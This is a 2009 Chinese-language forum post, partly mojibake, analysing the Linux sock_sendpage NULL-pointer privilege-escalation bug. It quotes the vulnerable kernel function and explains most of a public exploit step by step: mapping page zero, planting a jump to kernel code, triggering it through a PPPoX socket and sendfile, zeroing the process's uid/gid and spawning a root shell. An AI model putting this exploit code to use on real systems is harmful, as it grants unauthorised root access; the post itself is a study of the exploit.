- 論壇徽章:
- 0
|
先發(fā)點(diǎn)上磚上來(lái)引玉,大家一起討論一下吧。
http://linux.chinaunix.net/bbs/thread-1130262-1-1.html
詳細(xì)地描述了這個(gè)漏洞。
具體漏洞原因在
http://archives.neohapsis.com/ar ... e/2009-08/0174.html
也有描述。
因?yàn)閟ock_sendpage沒(méi)有做指針檢查,有些模塊不具備sendpage功能,初始時(shí)賦為NULL,這樣,沒(méi)有做檢查的sock_sendpage有可能直接調(diào)用空指針而導(dǎo)致出錯(cuò)——重新映射地址0,并提升權(quán)限。。!
- ssize_t sock_sendpage(struct file *file, struct page *page,
- int offset, size_t size, loff_t *ppos, int more)
- {
- struct socket *sock;
- int flags;
- sock = SOCKET_I(file->f_dentry->d_inode);
- flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
- if (more)
- flags |= MSG_MORE;
- /*
- 沒(méi)有做類似的指針檢查,就直接調(diào)用
- if (unlikely(!sock->ops->sendpage))
- return -EINVAL;
- */
- return sock->ops->sendpage(sock, page, offset, size, flags);
- }
復(fù)制代碼
來(lái)看看利用的代碼(程序是在安焦上面下載的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):
- int main(void) {
- char template[] = "/tmp/padlina.XXXXXX";
- int fdin, fdout;
- void *page;
- //獲取當(dāng)前程序的uid和gid,后面權(quán)限提升的時(shí)候查找使用
- uid = getuid();
- gid = getgid();
- setresuid(uid, uid, uid);
- setresgid(gid, gid, gid);
- if ((personality(0xffffffff)) != PER_SVR4) {
- if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
- perror("mmap");
- return -1;
- }
- } else {
- if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
- perror("mprotect");
- return -1;
- }
復(fù)制代碼
程序mmap了地址0x0,接下來(lái)
- *(char *)0 = '\x90'; (nop)
- *(char *)1 = '\xe9'; (jmp)
- *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
復(fù)制代碼
(這個(gè) - 6是什么意思,大家指點(diǎn)一下)
在地址0x0處埋下代碼kernel_code 函數(shù),因?yàn)?x90 = nop, 0xe9 = jmp
上面代碼可表示為在映射的地址0處,執(zhí)行
不過(guò)現(xiàn)在還沒(méi)有執(zhí)行,因?yàn)锽ug沒(méi)有被激活,程序沒(méi)有運(yùn)行到地址0處。
然后就是激活該Bug:
- if ((fdin = mkstemp(template)) < 0) {
- perror("mkstemp");
- return -1;
- }
- if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
- perror("socket");
- return -1;
- }
- unlink(template);
- ftruncate(fdin, PAGE_SIZE);
- sendfile(fdout, fdin, NULL, PAGE_SIZE);
復(fù)制代碼
這段代碼是漏洞描述上的示例代碼。。。。。。
關(guān)鍵是kernel_code:
因?yàn)锽ug被激活,進(jìn)程已經(jīng)進(jìn)入內(nèi)核上下文:
- void kernel_code()
- {
- int i;
- uint *p = get_current();
復(fù)制代碼
kernel_code第一步是獲取當(dāng)前進(jìn)程的進(jìn)程描述符,get_current是一個(gè)內(nèi)聯(lián)匯編:
- static inline __attribute__((always_inline)) void *get_current()
- {
- unsigned long curr;
- __asm__ __volatile__ (
- "movl %%esp, %%eax ;"
- "andl %1, %%eax ;"
- "movl (%%eax), %0"
- : "=r" (curr)
- : "i" (~8191)
- );
- return (void *) curr;
- }
復(fù)制代碼
這段代碼是現(xiàn)成的,描述進(jìn)程描述符的資料,例如《ULK3》或《Linux內(nèi)核設(shè)計(jì)與實(shí)現(xiàn)》上都有其介紹。內(nèi)核中的原型是:
- static inline struct task_struct * get_current(void)
- {
- return current_thread_info()->task;
- }
- /* how to get the thread information struct from C */
- static inline struct thread_info *current_thread_info(void)
- {
- struct thread_info *ti;
- __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
- return ti;
- }
復(fù)制代碼
include/asm-i386/current.h
程序返回的是一個(gè)uint *指針,而不是struct task_struct *,我認(rèn)為有兩個(gè)理由:
A、這是在應(yīng)用態(tài)而不是內(nèi)核態(tài),如果使用后者,會(huì)比較麻煩;
B、這個(gè)程序是超版本的,也就是不僅限于某個(gè)內(nèi)核版本,所以,struct task_struct的結(jié)構(gòu)可能會(huì)有很大的變化。
所以,沒(méi)有辦法,只能在整個(gè)結(jié)構(gòu)范圍之內(nèi)來(lái)查找uid和gid。以我的2.6.12為例:
struct task_struct {
……
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
……
}
就是要逐個(gè)找到它們,一共是8個(gè)字段:
所以,使用uint*指針來(lái)指向結(jié)構(gòu)的整個(gè)buffer,就可以逐字節(jié)的查找。而不是直接使用成員名。(我不知所有歷史版本,這些成員的名稱是否會(huì)變化,這樣做不引用成員名,連成員名變化都可以忽略了。)
- for (i = 0; i < 1024-13; i++) {
- if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
- p[0] = p[1] = p[2] = p[3] = 0;
- p[4] = p[5] = p[6] = p[7] = 0;
- p = (uint *) ((char *)(p + 8) + sizeof(void *));
- p[0] = p[1] = p[2] = ~0;
- break;
- }
- p++;
- }
復(fù)制代碼
所以這里要做一個(gè)循環(huán),就是為了超版本的在整個(gè)結(jié)構(gòu)的數(shù)據(jù)中逐個(gè)搜尋,去匹備那8個(gè)成員。查找上限是1024 - 13,應(yīng)該與struct task_struct結(jié)構(gòu)的大小有關(guān)。包子TX貼子中說(shuō)測(cè)試程序可能會(huì)引起系統(tǒng)出問(wèn)題,估計(jì)就是出在這里了。(猜測(cè),呵呵)
接下來(lái)就是查找到進(jìn)程的uid和gid,然后替換之,這里設(shè)為0,即為root。!以達(dá)到提升權(quán)限的目的。
exit_kernel();退出內(nèi)核態(tài),并調(diào)用exit_code()函數(shù),運(yùn)行shell。
- static inline __attribute__((always_inline)) void exit_kernel()
- {
- __asm__ __volatile__ (
- "movl %0, 0x10(%%esp) ;"
- "movl %1, 0x0c(%%esp) ;"
- "movl %2, 0x08(%%esp) ;"
- "movl %3, 0x04(%%esp) ;"
- "movl %4, 0x00(%%esp) ;"
- "iret"
- : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
- "i" (USER_CS), "r" (exit_code)
- );
- }
復(fù)制代碼
- void exit_code()
- {
- if (getuid() != 0) {
- fprintf(stderr, "failed\n");
- exit(-1);
- }
- execl("/bin/sh", "sh", "-i", NULL);
- }
復(fù)制代碼
這些利用漏洞的人,太強(qiáng)了,PF呀PF,人與人差距太大了,學(xué)無(wú)止境呀。!
[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 22:52 編輯 ] |
評(píng)分
-
查看全部評(píng)分
|